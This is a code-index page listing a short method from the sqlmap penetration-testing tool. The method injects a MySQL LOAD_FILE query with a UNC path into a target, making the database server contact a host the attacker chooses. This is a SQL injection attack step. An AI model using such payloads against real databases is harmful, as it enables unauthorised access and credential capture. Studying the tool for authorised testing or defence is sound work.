MCPcopy Index your code
hub / github.com/sqlmapproject/sqlmap / uncPathRequest

Method uncPathRequest

plugins/dbms/mysql/takeover.py:112–120  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

110 logger.debug("keeping existing UDF '%s' as requested" % udf)
111
112 def uncPathRequest(self):
113 if not isStackingAvailable():
114 query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath)
115 query = agent.suffixQuery(query)
116 payload = agent.payload(newValue=query)
117
118 Request.queryPage(payload)
119 else:
120 inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)

Callers

nothing calls this directly

Calls 5

isStackingAvailableFunction · 0.90
prefixQueryMethod · 0.80
suffixQueryMethod · 0.80
payloadMethod · 0.80
queryPageMethod · 0.80

Tested by

no test coverage detected